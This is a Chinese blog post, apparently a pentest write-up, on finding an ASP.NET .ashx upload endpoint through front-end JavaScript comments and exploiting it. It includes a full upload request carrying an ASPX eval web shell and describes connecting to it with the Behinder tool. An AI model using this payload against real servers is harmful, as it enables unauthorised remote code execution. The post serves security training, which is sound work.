记一次文件上传漏洞踩过的坑:一个.ashx文件让我多翻了两小时前端……"

admin 2026-10-20 04:30:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

记一次文件上传漏洞踩过的坑:一个.ashx文件让我多翻了两小时前端……

原创

是老A
是老A

老A搞安全

2026年7月13日 08:27
贵州

在小说阅读器读本章

去阅读

一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!

记一次文件上传踩过的坑!

一次对某OA系统的渗透测试

扫了一圈,发现了一个.ashx文件:

http://oa.com/api/FileUploadApi.ashx

.ashx是ASP.NET的处理程序,相当于一个“轻量级接口”,经常负责文件上传、下载、数据处理这类功能。

眼前一亮:文件上传接口?

赶紧访问一下。

页面返回了一行字:

{\"code\":500,\"msg\":\"接口错误\"}

嗯……有接口,但不知道怎么调。

正常流程走到这里,大部分人会开始:

  • 目录扫描,找更多路径
  • 参数爆破,猜参数名
  • 翻WAF拦截记录
  • 或者直接放弃,换下一个目标

我想了想,先不急着跑字典,看看前端有没有线索。

打开浏览器开发者工具,切到Sources面板,翻到FileUploadApi.ashx相关的JavaScript文件

Ctrl+F,搜了一下关键词:

FileUploadApi

然后看到了这几行注释:

// 文件上传接口调用示例// method=DoWebUpload  // 上传// method=DoDelete     // 删除// method=DoList       // 获取列表

原来这个接口不是直接访问就能用的。你需要传入一个叫method的参数,告诉它你要执行什么操作

  • method=DoWebUpload → 上传文件
  • method=DoDelete → 删除文件
  • method=DoList → 获取文件列表

开发人员可能觉得“这是前端代码里的注释,别人看不到吧”

但问题是——前端代码对浏览器是完全可见的。

你写在JS里的所有注释、变量名、甚至被注释掉的调试代码,所有访问页面的用户都能看到。

知道了方法名,接下来就是构造请求:

POST /api/FileUploadApi.ashx?method=DoWebUpload HTTP/1.1Host: oa.comContent-Type: multipart/form-data------WebKitFormBoundaryContent-Disposition: form-data; name=\"file\"; filename=\"test.aspx\"Content-Type: text/plain<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>------WebKitFormBoundary--

请求发出去了

服务器返回

{\"code\":200,\"msg\":\"上传成功\",\"path\":\"/uploads/2024/09/test.aspx\"}

传上去了

紧接着用冰蝎连接工具连了一下这个WebShell

http://oa.com/uploads/2024/09/test.aspx?pass=xxx

连接成功

从发现.ashx到拿下Shell,总用时一个多小时。其中翻前端JS花了将近半个小时。

分享几个实用的“前端翻代码”技巧

第一招:全局搜索接口路径

在Sources面板里,用Ctrl+Shift+F全局搜索接口路径的片段,比如FileUploadApi或者.ashx。

这个方法能快速定位到调用这个接口的JS代码。

第二招:搜中文关键词

有些接口名称你可能猜不到,但页面里的中文提示可以帮你。

比如页面有“上传成功”或者“文件上传失败”,搜这些中文,往往能找到对应的请求代码。

第三招:看被注释掉的代码

很多开发人员会在代码里注释掉旧的调用方式

console.log('FileUploadApi调用参数:method=' + method);

打开浏览器控制台,或者翻源码搜console.log,经常会发现惊喜。

⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试。


【情报分析】伊朗前总统艾哈迈迪内贾德为何被指认被摩萨德招募?" 网络安全文章

【情报分析】伊朗前总统艾哈迈迪内贾德为何被指认被摩萨德招募?"

该情报分析文章围绕《纽约时报》关于伊朗前总统艾哈迈迪内贾德被摩萨德招募的报道展开。文章指出报道真实性存疑,但揭示了以色列试图通过接触被体制边缘化的艾哈迈迪内贾德来实施政权更迭的靴猫行动。关键发现是行动因IRGC在军事打击后未崩溃而失败,艾哈迈迪内贾德最终在哈梅内伊葬礼上现身。文章还分析了报道可能的情报目的及霍尔木兹海峡封锁的战略影响。可操作建议是关注IRGC的韧性对地区稳定的长期影响。
科普|你了解国家网络身份认证吗?" 网络安全文章

科普|你了解国家网络身份认证吗?"

本文科普国家网络身份认证的概念与意义,强调其在提升网络安全、保护个人信息及简化网络服务流程方面的作用。文章指出该认证体系由官方推动,旨在构建更安全可信的网络环境,并建议用户了解并合理使用以防范身份盗用风险。
评论:0   参与:  0